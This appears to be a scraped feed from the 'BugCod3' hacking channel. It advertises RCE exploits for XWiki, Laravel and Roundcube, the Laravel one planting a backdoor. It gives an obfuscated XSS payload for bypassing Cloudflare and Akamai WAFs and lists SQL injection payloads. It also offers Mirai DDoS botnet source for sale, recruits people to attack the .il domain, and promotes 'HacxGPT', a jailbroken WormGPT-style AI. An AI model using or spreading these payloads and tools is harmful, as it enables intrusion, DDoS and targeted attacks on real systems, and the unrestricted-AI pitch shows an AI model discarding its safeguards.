BugCod3

04 September 2025 19:36

CVE-2025-24893 🤔

is a critical unauthenticated remote code execution (RCE) vulnerability affecting the XWiki Platform 🩷

Summary ❗

Affected Versions ❓

XWiki 🤔 5.3-milestone-2 up to < 15.10.11 🦠

XWiki 🤔 16.0.0-rc-1 up to < 16.4.1 🦠

CVSS v3.1 Score : 9.8 (Critical) 🔫

Github 🌐

#Rce #Exploit

Join Exploit Forge 💎
Join Exploit Forge Forum 💎
Join BugCod3 💎

BugCod3

25 August 2025 15:57

You can improve our script by replying to your experience to improve it.

Twitter
Bot

T.me/BugCod3

BugCod3

25 August 2025 04:35

Revelar – Origin Reveal PRO

👁‍🗨 Overview:
Revelar (Origin Reveal PRO) is a professional Go-based CLI tool for uncovering real/origin IP addresses of websites behind CDNs such as Cloudflare, Akamai, Fastly, Imperva, and AWS CloudFront.

📊 Features:
⚪️ Detects CDN providers automatically.
⚪️ Collects DNS records (A, AAAA, MX, Reverse DNS).
⚪️ Extracts SSL Subject Alternative Names (SANs).
⚪️ Integrates with optional external tools (subfinder, amass, dnsx, httpx, nuclei).
⚪️ Filters CDN IP ranges to isolate real origin candidates.
⚪️ Active verification engine

🔼 Installation:
Install via go install:

go install github.com/MRvirusIR/Revelar@latest

cd Revelar
./Revelar -d example.com #For Run

./Revelar -h

BugCod3

17 August 2025 18:38

RFC-compliant payloads for email and phone number fields

#RFC #Payload
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

BugCod3

21 July 2025 20:40

GhostRecon

💬
GhostRecon is a passive reconnaissance tool used in cybersecurity and web penetration testing that automates the discovery of subdomains, IP addresses, and ASN (Autonomous System Number) information for a target domain. It leverages publicly available data sources and OSINT techniques to streamline the information gathering process. Additionally, it can identify active IP addresses and detect the presence of Content Delivery Networks (CDNs) and Web Application Firewalls (WAFs) to support security analysis.

📊 What Recon Tool Does:
⚪️ Find All Subdomains
⚪️ Find All URLs ASN
⚪️ Fetching IP
⚪️ Identify Live IPs
⚪️ Detect CDN/WAF

To Buy: T.me/BugCod3BOT

BugCod3

12 July 2025 04:25

BadMod auto exploit tool

💬 CMS auto detect and exploit.

💻 Installation:

chmod +x INSTALL
./INSTALL

BugCod3

13 June 2025 14:56

Hi 👋 , friends who want to help us in attacking the .il domain address can provide their type of help in the bot below and contact us.

T.me/BugCod3BOT

BugCod3

11 June 2025 04:25

HacxGPT

The cutting-edge AI developed by BlackTechX, inspired by WormGPT, designed to push the boundaries of natural language processing.

🎯 Features:

⚪️ Powerful AI Conversations: all questions will be answered in goodflow.
⚪️ Broken AI: Can do anything you want !!

⚙️ Installation:

sudo apt-get update; apt-get upgrade -y
sudo apt-get install git wget python3 -y
cd Hacx-GPT
pip install -r requirements.txt
python3 main.py

BugCod3

10 June 2025 23:41

How to use Gobuster to brute-force directories!

$ gobuster dir -u <target-URL> -w <wordlist>

dir: Directory scanning
-u: Target URL
-w: Path to wordlist file

⬇️ Download

#GoBuster #Tips #Tools
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/Exploit_Forge

BugCod3

08 June 2025 20:40

Useful Wireshark Filters

#WireShark #Tips
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

BugCod3

01 April 2025 02:03

CF-Hero

💬
CF-Hero is a comprehensive reconnaissance tool developed to discover the real IP addresses of web applications protected by Cloudflare. It performs multi-source intelligence gathering through various methods.

📊 Feautures:

⚪️ DNS Reconnaissance
⚪️ Third-party Intelligence
⚪️ Advanced Features

🔼 Installation:

go install -v github.com/musana/cf-hero/cmd/cf-hero@latest

# The most basic running command. It checks A and TXT records by default.
cat domains.txt | cf-hero

# or you can pass "f" parameter to it.
cf-hero -f domains.txt

# Use the censys parameter to include Shodan in the scan
cat domain.txt | cf-hero -censys

# Use the shodan parameter to include Shodan in the scan
cat domain.txt | cf-hero -shodan

# Use the securitytrails parameter to include Shodan in the scan
cat domain.txt | cf-hero -securitytrails

BugCod3

20 March 2025 18:47

Happy Nowruz to all the world 🤙📿

BugCod3

04 September 2025 19:36

Laravel RCE Exploitation Toolkit 🤕

Purpose: Exploits Laravel RCE vulnerability by using a known APP_KEY to generate a malicious payload that leads to remote code execution. If successful, it writes a backdoor to the server and logs the URL ⭐

💻 Github

#Exploit #laravel #Rce #Rcr_Exploit

Join Exploit Forge ✈️
Join Exploit Forge Forum ✈️
Join BugCod3✈️

BugCod3

25 August 2025 10:29

If this post gets support and a lot of reactions, we will prepare and create many more cool tools for you to use and enjoy. 🔥

BugCod3

19 August 2025 18:38

Burp Suite MCP Server Extension with scan and crawl features

💬
This an extended MCP Server Extension for BurpSuite proxy with scan and crawl based on the original.
For Building instructions follow below the original README as provided from PortSwigger, for direct use, load the extension provided on your Burp proxy.

📊 Features:
⚪️ Connect Burp Suite to AI clients through MCP
⚪️ Automatic installation for Claude Desktop
⚪️ Comes with packaged Stdio MCP proxy server

💻 Usage:
⚪️ Install the extension in Burp Suite
⚪️ Configure your Burp MCP server in the extension settings
⚪️ Configure your MCP client to use the Burp SSE MCP server or stdio proxy
⚪️ Interact with Burp through your client!

🔼 Installation:
Prerequisites
⚪️ Java
⚪️ Jar Command

cd burp-mcp
./gradlew embedProxyJar
#Open Burp Suite
#Access the Extensions Tab
#Add the Extension

BugCod3

30 July 2025 03:26

Mirai DDoS source with botnet and all tools and peripherals for sale, urgent sale

To Buy: T.me/BugCod3BOT

BugCod3

21 July 2025 04:25

Trape (stable) v2.0

💬
Trape is an OSINT analysis and research tool, which allows people to track and execute intelligent social engineering attacks in real time. It was created with the aim of teaching the world how large Internet companies could obtain confidential information such as the status of sessions of their websites or services and control their users through their browser, without their knowledge, but It evolves with the aim of helping government organizations, companies and researchers to track the cybercriminals.

📊 Some benefits:
⚪️ LOCATOR OPTIMIZATION
⚪️ APPROACH
⚪️ REST API
⚪️ PROCESS HOOKS
⚪️ PUBLIC NETWORK TUNNEL
⚪️ CLICK ATTACK TO GET CREDENTIALS
⚪️ NETWORK
⚪️ PROFILE

💻 Usage:

cd trape
pip3 install -r requirements.txt
python3 trape.py -h

#Example: python3 trape.py --url http://example.com --port 8080

BugCod3

29 June 2025 21:41

Networking Commands

#Network #Command
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

BugCod3

11 June 2025 08:40

CVE-2025-49113 - Roundcube Remote Code Execution

A proof-of-concept exploit for CVE-2025-49113, a remote code execution vulnerability in Roundcube Webmail.

💬 Description:
This exploit targets a deserialization vulnerability in Roundcube Webmail versions 1.5.0 through 1.6.10. The vulnerability allows an authenticated attacker to execute arbitrary code on the server.

🏴‍☠️ Vulnerable Versions:
⚪️ 1.5.0 - 1.5.9
⚪️ 1.6.0 - 1.6.10

🖇 Requirements:
⚪️ PHP 7.0 or higher
⚪️ cURL extension enabled
⚪️ Target running a vulnerable version of Roundcube

💻 Usage:

php CVE-2025-49113.php <url> <username> <password> <command>

php CVE-2025-49113.php http://localhost/roundcube/ admin password "id"

BugCod3

11 June 2025 02:03

WAF bypass for Akamai and Cloudflare

Payload:

<address onscrollsnapchange=window['ev'+'a'+(['l','b','c'][0])](window['a'+'to'+(['b','c','d'][0])]('YWxlcnQob3JpZ2luKQ==')); style=overflow-y:hidden;scroll-snap-type:x><div style=scroll-snap-align:center>1337</div></address>

BugCod3

08 June 2025 22:32

SQL injection ID parameter

?id=1' order by 1 --+
?id=1' and "a"="a"--+
?id=1' and database()="securtiy"--+
?id=1' and substring(database(),1,1)="a"--+
?id=1' and sleep(2) and "a"="a"--+
?id=1' and sleep(2) and substring(database(),1,1)="a"--+

#SQL #Injection #Tips
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

BugCod3

08 June 2025 16:32

Blind SQL Injection

Tips:
1. Gather all urls from gau/waybackurls and Google Dorking.
2. Inject SQLi payload in all parameters one by one.
3. Analyze the response.

Payload used:
0'XOR(if(now()=sysdate(),sleep(10),0)) XOR'Z

#BugBounty #Payload #SQLi
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

BugCod3

31 March 2025 19:39

Extracts URLs from OSINT Archives for Security Insights.

💬
Urx is a command-line tool designed for collecting URLs from OSINT archives, such as the Wayback Machine and Common Crawl.

📊 Features:
⚪️ Fetch URLs from multiple sources (Wayback Machine, Common Crawl, OTX)
⚪️ Process multiple domains concurrently
⚪️ Filter results by file extensions or patterns
⚪️ Use presets (predefined filter sets) for convenience (like "no-image" to exclude all image-related extensions)
⚪️ Multiple output formats (plain, JSON, CSV)
⚪️ Output to console or file
⚪️ Support for reading domains from stdin (pipeline integration)
⚪️ URL testing capabilities (status checking, link extraction)

🔼 Installation:

cd urx
cargo build --release

# Scan a single domain
urx example.com

# Scan multiple domains
urx example.com example.org

# Scan domains from a file
cat domains.txt | urx